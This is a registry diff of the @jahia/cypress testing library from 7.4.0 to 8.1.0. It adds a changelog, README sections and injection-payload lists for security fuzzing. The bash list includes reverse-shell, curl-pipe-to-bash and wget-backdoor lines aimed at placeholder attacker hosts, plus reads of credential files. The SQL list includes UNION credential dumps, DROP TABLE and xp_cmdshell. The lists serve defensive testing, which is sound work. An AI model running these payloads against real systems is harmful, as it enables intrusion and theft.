@jahia/cypress 7.4.0 → 8.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (135) hide show
  1. package/CHANGELOG.md +35 -0
  2. package/README.md +69 -2
  3. package/dist/index.js +6 -2
  4. package/dist/injections/bash-data.d.ts +1 -0
  5. package/dist/injections/bash-data.js +57 -0
  6. package/dist/injections/chars-data.d.ts +1 -0
  7. package/dist/injections/chars-data.js +25 -0
  8. package/dist/injections/htmlentities-data.d.ts +1 -0
  9. package/dist/injections/htmlentities-data.js +22 -0
  10. package/dist/injections/numbers-data.d.ts +1 -0
  11. package/dist/injections/numbers-data.js +66 -0
  12. package/dist/injections/sql-data.d.ts +1 -0
  13. package/dist/injections/sql-data.js +82 -0
  14. package/dist/injections/xss-data.d.ts +1 -0
  15. package/dist/injections/xss-data.js +740 -0
  16. package/dist/page-object/baseComponent.d.ts +1 -2
  17. package/dist/page-object/baseComponent.js +10 -6
  18. package/dist/page-object/basePage.js +1 -1
  19. package/dist/page-object/html/iframe.d.ts +0 -1
  20. package/dist/page-object/html/iframe.js +2 -2
  21. package/dist/page-object/html/index.js +6 -2
  22. package/dist/page-object/index.js +6 -2
  23. package/dist/page-object/material/index.js +6 -2
  24. package/dist/page-object/material/muiinput.d.ts +0 -1
  25. package/dist/page-object/material/muiinput.js +1 -1
  26. package/dist/page-object/material/muiradio.js +1 -1
  27. package/dist/page-object/moonstone/accordion.d.ts +0 -1
  28. package/dist/page-object/moonstone/accordion.js +2 -2
  29. package/dist/page-object/moonstone/button.js +1 -1
  30. package/dist/page-object/moonstone/collapsible.js +1 -1
  31. package/dist/page-object/moonstone/dropdown.js +2 -2
  32. package/dist/page-object/moonstone/index.js +6 -2
  33. package/dist/page-object/moonstone/menu.js +9 -9
  34. package/dist/page-object/moonstone/pagination.js +3 -3
  35. package/dist/page-object/moonstone/primaryNav.js +2 -2
  36. package/dist/page-object/moonstone/secondaryNav.js +1 -1
  37. package/dist/page-object/moonstone/table.d.ts +0 -1
  38. package/dist/page-object/moonstone/table.js +5 -5
  39. package/dist/page-object/utils.d.ts +0 -1
  40. package/dist/page-object/utils.js +11 -12
  41. package/dist/plugins/env.js +2 -2
  42. package/dist/plugins/index.js +6 -2
  43. package/dist/plugins/registerPlugins.js +2 -2
  44. package/dist/support/apollo/apollo.d.ts +5 -4
  45. package/dist/support/apollo/apollo.js +80 -18
  46. package/dist/support/apollo/apolloClient.d.ts +1 -2
  47. package/dist/support/apollo/apolloClient.js +7 -7
  48. package/dist/support/apollo/index.js +6 -2
  49. package/dist/support/apollo/links.d.ts +1 -1
  50. package/dist/support/apollo/links.js +5 -6
  51. package/dist/support/browserHelper.d.ts +10 -0
  52. package/dist/support/browserHelper.js +167 -0
  53. package/dist/support/commands.js +1 -1
  54. package/dist/support/fixture.d.ts +1 -1
  55. package/dist/support/fixture.js +11 -7
  56. package/dist/support/index.d.ts +3 -0
  57. package/dist/support/index.js +9 -2
  58. package/dist/support/jfaker.d.ts +60 -0
  59. package/dist/support/jfaker.js +241 -0
  60. package/dist/support/jsErrorsLogger.js +13 -9
  61. package/dist/support/login.d.ts +0 -1
  62. package/dist/support/login.js +2 -2
  63. package/dist/support/logout.d.ts +0 -1
  64. package/dist/support/logout.js +1 -1
  65. package/dist/support/modSince.d.ts +52 -0
  66. package/dist/support/modSince.js +180 -0
  67. package/dist/support/provisioning/executeGroovy.d.ts +1 -1
  68. package/dist/support/provisioning/executeGroovy.js +42 -3
  69. package/dist/support/provisioning/index.js +6 -2
  70. package/dist/support/provisioning/installConfig.d.ts +0 -1
  71. package/dist/support/provisioning/installConfig.js +3 -3
  72. package/dist/support/provisioning/installModule.d.ts +0 -1
  73. package/dist/support/provisioning/installModule.js +1 -1
  74. package/dist/support/provisioning/runProvisioningScript.d.ts +4 -5
  75. package/dist/support/provisioning/runProvisioningScript.js +86 -9
  76. package/dist/support/provisioning/uninstallModule.d.ts +0 -1
  77. package/dist/support/provisioning/uninstallModule.js +1 -1
  78. package/dist/support/registerSupport.js +35 -1
  79. package/dist/support/repeatUntil.d.ts +1 -2
  80. package/dist/support/repeatUntil.js +2 -2
  81. package/dist/support/testStep.js +2 -2
  82. package/dist/utils/ClusterHelper.js +1 -1
  83. package/dist/utils/ExportHelper.d.ts +2 -2
  84. package/dist/utils/ExportHelper.js +14 -10
  85. package/dist/utils/GraphQLHelper.js +21 -17
  86. package/dist/utils/JCRHelper.d.ts +1 -1
  87. package/dist/utils/JCRHelper.js +1 -1
  88. package/dist/utils/JahiaPlatformHelper.js +2 -2
  89. package/dist/utils/Logger.js +6 -6
  90. package/dist/utils/PublicationAndWorkflowHelper.js +3 -3
  91. package/dist/utils/SAMHelper.d.ts +1 -1
  92. package/dist/utils/SAMHelper.js +4 -4
  93. package/dist/utils/SiteHelper.js +2 -2
  94. package/dist/utils/UsersHelper.js +2 -2
  95. package/dist/utils/VanityUrlHelper.js +1 -1
  96. package/dist/utils/index.js +6 -2
  97. package/docs/browser-helper.md +158 -0
  98. package/docs/jfaker.md +450 -0
  99. package/package.json +13 -10
  100. package/src/injections/bash-data.ts +54 -0
  101. package/src/injections/chars-data.ts +22 -0
  102. package/src/injections/htmlentities-data.ts +19 -0
  103. package/src/injections/numbers-data.ts +63 -0
  104. package/src/injections/sql-data.ts +79 -0
  105. package/src/injections/xss-data.ts +737 -0
  106. package/src/page-object/baseComponent.ts +6 -6
  107. package/src/page-object/html/iframe.ts +3 -3
  108. package/src/page-object/material/muiinput.ts +1 -1
  109. package/src/page-object/material/muiradio.ts +1 -1
  110. package/src/page-object/moonstone/accordion.ts +1 -1
  111. package/src/page-object/moonstone/button.ts +1 -1
  112. package/src/page-object/moonstone/collapsible.ts +1 -1
  113. package/src/page-object/moonstone/dropdown.ts +1 -1
  114. package/src/page-object/moonstone/menu.ts +1 -1
  115. package/src/page-object/moonstone/pagination.ts +1 -1
  116. package/src/page-object/moonstone/primaryNav.ts +1 -1
  117. package/src/page-object/moonstone/secondaryNav.ts +1 -1
  118. package/src/page-object/moonstone/table.ts +2 -2
  119. package/src/support/apollo/apollo.ts +74 -11
  120. package/src/support/apollo/links.ts +1 -2
  121. package/src/support/browserHelper.ts +186 -0
  122. package/src/support/index.ts +3 -0
  123. package/src/support/jfaker.ts +245 -0
  124. package/src/support/modSince.ts +222 -0
  125. package/src/support/provisioning/executeGroovy.md +7 -1
  126. package/src/support/provisioning/executeGroovy.ts +46 -2
  127. package/src/support/provisioning/runProvisioningScript.ts +89 -12
  128. package/src/support/registerSupport.ts +29 -0
  129. package/tests/cypress/e2e/jfaker.spec.ts +411 -0
  130. package/tests/cypress/e2e/modSince.spec.ts +306 -0
  131. package/tests/cypress.config.ts +23 -0
  132. package/tests/package.json +41 -0
  133. package/tests/reporter-config.json +13 -0
  134. package/tests/yarn.lock +8578 -0
  135. package/tsconfig.json +3 -0
package/CHANGELOG.md ADDED
@@ -0,0 +1,35 @@
1
+ # @jahia/cypress Changelog
2
+
3
+ ## 8.1.0
4
+
5
+ ### New Features
6
+
7
+ * Add `it.since()` and `describe.since()` modifiers to gate tests by Jahia version (#216)
8
+
9
+ * Add jfaker library for generating test strings containing human-readable or injections data (#202)
10
+
11
+ * Improve cypress logs of script execution, now groovy / provisioning and graphql calls provides more information (#214)
12
+
13
+ ### Bug Fixes
14
+
15
+ * Add browser helpers for printing out auxiliary information about cookies and storages for debugging purposes (#215)
16
+
17
+ ## 8.0.0
18
+
19
+ ### Breaking Changes
20
+
21
+ * Bump "typescript" from 4.3.5 to 5.9.3; update dependencies accordingly; (#203)
22
+
23
+ ### New Features
24
+
25
+ * Add copyNode helper (#196)
26
+
27
+ * Leverage Buildx cache when building Docker test image (#191)
28
+
29
+ Use Docker Buildx with the GitHub Actions Cache (if enabled with `DOCKER_BUILD_CACHE_ENABLED` env variable), to speed up the build of the Docker test image (done with `ci.build.sh`)
30
+
31
+ ### Bug Fixes
32
+
33
+ * Fix broken copyNode helper
34
+
35
+ CopyNode (#198)
package/README.md CHANGED
@@ -22,6 +22,10 @@
22
22
 
23
23
  [`.repeatUntil()`](./src/support/repeatUntil.md)
24
24
 
25
+ [`it.since()`](#version-gated-tests)
26
+
27
+ [`describe.since()`](#version-gated-tests)
28
+
25
29
  ## Page / component objects
26
30
 
27
31
  In Page Object Model, a set of object is provided to handle known and reused web elements.
@@ -100,11 +104,74 @@ module.exports = (on, config) => {
100
104
  return config;
101
105
  };
102
106
  ```
107
+
108
+ ## Version-gated tests
109
+
110
+ After enabling `modSince` via `registerSupport`, you can gate tests and suites by Jahia version with:
111
+ - `it.since(requiredVersion, title, testFn)`
112
+ - `describe.since(requiredVersion, title, suiteFn)`
113
+
114
+ Modifiers are supported as well:
115
+ - `it.only.since(...)`, `describe.only.since(...)`
116
+ - `it.skip.since(...)`, `describe.skip.since(...)`
117
+
118
+ `it.since(...)` and `describe.since(...)` run only when current Jahia version is greater than or equal to `requiredVersion`; otherwise they are skipped.
119
+
120
+ `it.skip.since(...)` and `describe.skip.since(...)` are always skipped (same behavior as Cypress `skip`, with a version argument for consistency).
121
+
122
+ Jahia version is fetched in a root `before()` hook and stored in environment variable `CYPRESS_JAHIA_VERSION`.
123
+ ```typescript
124
+ it.since('8.2.0', 'shows the new dashboard widget', () => {
125
+ // test body
126
+ });
127
+
128
+ describe.since('8.2.0', 'dashboard suite available since 8.2', () => {
129
+ it('renders the widget list', () => {
130
+ // suite test body
131
+ });
132
+ });
133
+
134
+ // `only` modifiers are also supported
135
+ it.only.since('8.2.0', 'focused version-gated test', () => {
136
+ // test body
137
+ });
138
+
139
+ describe.only.since('8.2.0', 'focused version-gated suite', () => {
140
+ it('runs suite tests', () => {
141
+ // suite test body
142
+ });
143
+ });
144
+
145
+ // `skip` modifiers are also supported
146
+ it.skip.since('8.2.0', 'always skipped version-gated test', () => {
147
+ // skipped
148
+ });
149
+
150
+ describe.skip.since('8.2.0', 'always skipped version-gated suite', () => {
151
+ it('is skipped', () => {
152
+ // skipped
153
+ });
154
+ });
155
+ ```
156
+
157
+ ## Internal Auxiliary Libraries
158
+
159
+ ### Extended Logger Module
160
+ Helper utility designed to enhance Cypress test logging capabilities by providing structured log levels and decorating log messages with appropriate severity indicators. It enables developers to create more organized and filterable test output by categorizing log messages into different levels. Read more [here](./docs/extended-logger.md).
161
+
162
+ ### JavaScript Errors Logger
163
+ Comprehensive monitoring and reporting module for JavaScript errors and warnings in Cypress tests. It provides automated detection, collection, and reporting of console errors and warnings that occur during test execution, helping maintain code quality and identify issues early in the development process. Read more [here](./docs/js-errors-logger.md).
164
+
165
+ ### jFaker - Fake Data Generation Module
166
+ Flexible fake data generation utility for Cypress testing that combines the power of Faker.js with security-focused injection payload generation. It provides a unified API to generate both realistic test data and security testing payloads (XSS, SQL injection, etc.) through a dynamic proxy-based interface. Read more [here](./docs/jfaker.md).
167
+
103
168
  ## Open-Source
104
169
 
105
170
  This is an Open-Source codebase, you can find more details about Open-Source @ Jahia [in this repository](https://github.com/Jahia/open-source)
106
171
 
107
172
  ## How to release
108
- Ensure and eventually change the version in [package.json](package.json) to match the version to release.
109
173
 
110
- From Github release panel, draft a new release with a tag named `vX.Y.Z` and a title `vX.Y.Z`. The release will be published to NPM automatically.
174
+ Releases are now semi-automated using [Chachalog](https://github.com/GauBen/chachalog). To create a new release:
175
+
176
+ - Merge the `chore: release` PR from `github-actions`.
177
+ - From Github release panel, draft a new release with a tag named `vX.Y.Z` (use the same version as the one set by Chachalog in the `chore: release` PR) and a title `vX.Y.Z`. The release will be published to NPM automatically.
package/dist/index.js CHANGED
@@ -1,7 +1,11 @@
1
1
  "use strict";
2
2
  var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
3
  if (k2 === undefined) k2 = k;
4
- Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
5
9
  }) : (function(o, m, k, k2) {
6
10
  if (k2 === undefined) k2 = k;
7
11
  o[k2] = m[k];
@@ -9,7 +13,7 @@ var __createBinding = (this && this.__createBinding) || (Object.create ? (functi
9
13
  var __exportStar = (this && this.__exportStar) || function(m, exports) {
10
14
  for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
11
15
  };
12
- exports.__esModule = true;
16
+ Object.defineProperty(exports, "__esModule", { value: true });
13
17
  __exportStar(require("./page-object"), exports);
14
18
  __exportStar(require("./plugins"), exports);
15
19
  __exportStar(require("./support"), exports);
@@ -0,0 +1 @@
1
+ export declare const bashData: string[];
@@ -0,0 +1,57 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.bashData = void 0;
4
+ exports.bashData = [
5
+ '--version',
6
+ '--help',
7
+ '$USER',
8
+ '/dev/null; touch /tmp/blns.fail ; echo',
9
+ '`touch /tmp/blns.fail`',
10
+ '$(touch /tmp/blns.fail)',
11
+ '@{[system \'touch /tmp/blns.fail\']}',
12
+ 'eval(\'puts \'hello world\'\')',
13
+ 'System(\'ls -al /\')',
14
+ '`ls -al /`',
15
+ 'Kernel.exec(\'ls -al /\')',
16
+ 'Kernel.exit(1)',
17
+ '%x(\'ls -al /\')',
18
+ '$HOME',
19
+ '$ENV{\'HOME\'}',
20
+ '%d',
21
+ '%s',
22
+ '{0}',
23
+ '%*.*s',
24
+ '../../../../../../../../../../../etc/passwd%00',
25
+ '../../../../../../../../../../../etc/hosts',
26
+ '() { 0; }; touch /tmp/blns.shellshock1.fail;',
27
+ '() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }',
28
+ '; cat /etc/passwd',
29
+ '| ls -la',
30
+ '&& whoami',
31
+ '; rm -rf /tmp/test',
32
+ '` cat /etc/shadow `',
33
+ '| id',
34
+ '; uname -a',
35
+ '&& cat /etc/group',
36
+ '$(whoami)',
37
+ '`id`',
38
+ '; nc -e /bin/sh attacker.com 4444',
39
+ '| curl http://malicious.com/shell.sh | bash',
40
+ '; wget http://evil.com/backdoor -O /tmp/backdoor',
41
+ '&& chmod +x /tmp/exploit',
42
+ '`cat /root/.ssh/id_rsa`',
43
+ '; find / -name \'*.conf\'',
44
+ '| grep -r \'password\' /etc/',
45
+ '&& env',
46
+ '$(cat /proc/version)',
47
+ '; ps aux',
48
+ '| netstat -tuln',
49
+ '&& iptables -L',
50
+ '`cat /var/log/auth.log`',
51
+ '; history',
52
+ '| tail -f /var/log/syslog',
53
+ '&& crontab -l',
54
+ '; echo \'* * * * * /tmp/backdoor\' | crontab -',
55
+ '`sudo su -`',
56
+ '; python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
57
+ ];
@@ -0,0 +1 @@
1
+ export declare const charsData: string[];
@@ -0,0 +1,25 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.charsData = void 0;
4
+ exports.charsData = [
5
+ ',./;3[]\\-=',
6
+ '!@#$%^&*()`~',
7
+ 'Ω≈ç√∫˜µ≤≥÷',
8
+ 'åß∂ƒ©˙∆˚¬…æ',
9
+ 'œ∑´®†¥¨ˆøπ“‘',
10
+ '¡™£¢∞§¶•ªº–≠',
11
+ '¸˛Ç◊ı˜Â¯˘¿',
12
+ 'ÅÍÎÏ˝ÓÔÒÚÆ☃',
13
+ '`⁄€‹›fifl‡°·‚—±',
14
+ '⅛⅜⅝⅞',
15
+ 'ЁЂЃЄЅІЇЈЉЊЋЌЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя',
16
+ '٠١٢٣٤٥٦٧٨٩',
17
+ '⁰⁴⁵₀₁₂⁰⁴⁵₀₁₂',
18
+ 'ヽ༼ຈل͜ຈ༽ノ',
19
+ '__ロ(,_,*)',
20
+ '・(≧∀≦)・:*:',
21
+ '、。・:*:・゚( ☻ ☻ )・:*:・゚',
22
+ '(╯°□°)╯︵ ┻━┻',
23
+ '(ง益ง)งデデン',
24
+ '( ͡° ͜ʖ ͡°)'
25
+ ];
@@ -0,0 +1 @@
1
+ export declare const htmlentitiesData: string[];
@@ -0,0 +1,22 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.htmlentitiesData = void 0;
4
+ exports.htmlentitiesData = [
5
+ '\' - '',
6
+ '< - &lt;',
7
+ '> - &gt;',
8
+ '® - &reg;',
9
+ '& - &amp;',
10
+ '$ - &dollar;',
11
+ '´ - &acute;',
12
+ '© - &copy;',
13
+ 'À - &Agrave;',
14
+ 'Á - &Aacute;',
15
+ '- &Acirc;',
16
+ 'Ã - &Atilde;',
17
+ 'Ä - &Auml;',
18
+ 'Å - &Aring',
19
+ 'Æ - &AElig;',
20
+ 'à - a&#768;',
21
+ 'á - a&#769;'
22
+ ];
@@ -0,0 +1 @@
1
+ export declare const numbersData: string[];
@@ -0,0 +1,66 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.numbersData = void 0;
4
+ exports.numbersData = [
5
+ '$1.00',
6
+ '1/2',
7
+ '1E2',
8
+ '1E02',
9
+ '1E+02',
10
+ '-1',
11
+ '-1.00',
12
+ '-$1.00',
13
+ '-1/2',
14
+ '-1E2',
15
+ '-1E02',
16
+ '-1E+02',
17
+ '1/0',
18
+ '0/0',
19
+ '-2147483648/-1',
20
+ '-9223372036854775808/-1',
21
+ '0.00',
22
+ '0..0',
23
+ '0.0.0',
24
+ '0,00',
25
+ '0,,0',
26
+ '0,0,0',
27
+ '0.0/0',
28
+ '1.0/0.0',
29
+ '1,0/0,0',
30
+ '0,0/0,0',
31
+ '--1',
32
+ '-',
33
+ '-.',
34
+ '-,',
35
+ '999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999',
36
+ 'NaN',
37
+ 'Infinity',
38
+ '-Infinity',
39
+ 'INF',
40
+ '1#INF',
41
+ '-1#IND',
42
+ '1#QNAN',
43
+ '1#SNAN',
44
+ '1#IND',
45
+ '0x0',
46
+ '0xffffffff',
47
+ '0xffffffffffffffff',
48
+ '0xabad1dea',
49
+ '123456789012345678901234567890123456789',
50
+ '1,000.00',
51
+ '1 000.00',
52
+ '1\'000.00',
53
+ '1,000,000.00',
54
+ '1 000 000.00',
55
+ '1\'000\'000.00',
56
+ '1.000,00',
57
+ '1 000,00',
58
+ '1\'000,00',
59
+ '1.000.000,00',
60
+ '1 000 000,00',
61
+ '1\'000\'000,00',
62
+ '01000',
63
+ '08',
64
+ '09',
65
+ '2.2250738585072011e-308'
66
+ ];
@@ -0,0 +1 @@
1
+ export declare const sqlData: string[];
@@ -0,0 +1,82 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.sqlData = void 0;
4
+ exports.sqlData = [
5
+ 'select * from "Jahia"."Users" order by "ID"',
6
+ '1;DROP TABLE users',
7
+ '1\'; DROP TABLE users-- 1',
8
+ '\' OR 1=1 -- 1',
9
+ '\' OR \'1\'=\'1',
10
+ '\' OR \'1\'=\'1\' --',
11
+ '\' OR \'1\'=\'1\' /*',
12
+ 'admin\' --',
13
+ '\' UNION SELECT NULL--',
14
+ '1\'; DROP TABLE users--',
15
+ '\' or 1=1--',
16
+ '" or 1=1--',
17
+ 'or 1=1--',
18
+ '\' or \'x\'=\'x',
19
+ '" or "x"="x',
20
+ '\') or (\'x\'=\'x',
21
+ '\' or 1=1#',
22
+ '" or 1=1#',
23
+ 'or 1=1#',
24
+ '\' OR \'1',
25
+ '\' OR 1 -- -',
26
+ '" OR "" = "',
27
+ '" OR 1 = 1 -- -',
28
+ '\' OR \'\' = \'',
29
+ '\'=\'',
30
+ '\'LIKE\'',
31
+ '\'=0--+',
32
+ ' OR 1=1',
33
+ '\' OR \'x\'=\'x',
34
+ '\' AND id IS NULL; --',
35
+ '\'\'\'\'\'\'\'\'\'\'\'\'\'UNION SELECT \'2',
36
+ '%00',
37
+ '/*…*/ UNION SELECT/*…*/',
38
+ '+UNION+SELECT+',
39
+ '+ UNION+SELECT+',
40
+ '+UNION+ALL+SELECT+',
41
+ '||6',
42
+ '\'||\'6',
43
+ '(||6)',
44
+ '\' OR 1=1--',
45
+ 'OR 1=1',
46
+ '\' OR \'1\'=\'1',
47
+ 'OR \'1\'=\'1\'',
48
+ '\' OR 1=1 or \'\'=\'',
49
+ '" OR 1=1 or ""="',
50
+ '1\' UNION SELECT NULL, NULL--',
51
+ '1\' UNION ALL SELECT NULL, NULL--',
52
+ '\' UNION SELECT NULL, username, password FROM users--',
53
+ '\' UNION SELECT NULL, table_name FROM information_schema.tables--',
54
+ '\' UNION SELECT NULL, column_name FROM information_schema.columns--',
55
+ 'admin\'--',
56
+ 'admin\' #',
57
+ 'admin\'/*',
58
+ '\' or 1=1 limit 1 --',
59
+ '\'="',
60
+ '\' AND 1=0 UNION ALL SELECT \'\', \'81dc9bdb52d04dc20036dbd8313ed055',
61
+ '" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055',
62
+ '\' UNION SELECT NULL, \'admin\', \'5f4dcc3b5aa765d61d8327deb882cf99',
63
+ '\'; EXEC xp_cmdshell(\'dir\') --',
64
+ '\'; EXEC sp_configure \'show advanced options\', 1 --',
65
+ '\'; DROP TABLE users; --',
66
+ '\'; WAITFOR DELAY \'00:00:05\' --',
67
+ '\' AND 1=CONVERT(int, (SELECT @@version)) --',
68
+ '\' UNION SELECT NULL, NULL, NULL, @@version --',
69
+ '\' AND 1=2 UNION SELECT NULL, load_file(\'/etc/passwd\') --',
70
+ '\' INTO OUTFILE \'/tmp/out.txt',
71
+ '\'; SELECT * FROM information_schema.tables --',
72
+ '\' AND extractvalue(1,concat(0x7e,database())) --',
73
+ '\' AND updatexml(1,concat(0x7e,version()),1) --',
74
+ '\' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --',
75
+ '\' UNION SELECT NULL, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --',
76
+ '\' UNION SELECT NULL, group_concat(column_name) FROM information_schema.columns WHERE table_name=\'users\' --',
77
+ '\' UNION SELECT username, password FROM users WHERE \'1\'=\'1',
78
+ '1\' AND 1=2 UNION SELECT NULL, database() --',
79
+ '1\' AND 1=2 UNION SELECT NULL, user() --',
80
+ '\'; EXECUTE IMMEDIATE \'SELECT * FROM dual\' --',
81
+ '\' OR 1=1; BEGIN EXECUTE IMMEDIATE \'SELECT banner FROM v$version\'; END; --'
82
+ ];
@@ -0,0 +1 @@
1
+ export declare const xssData: string[];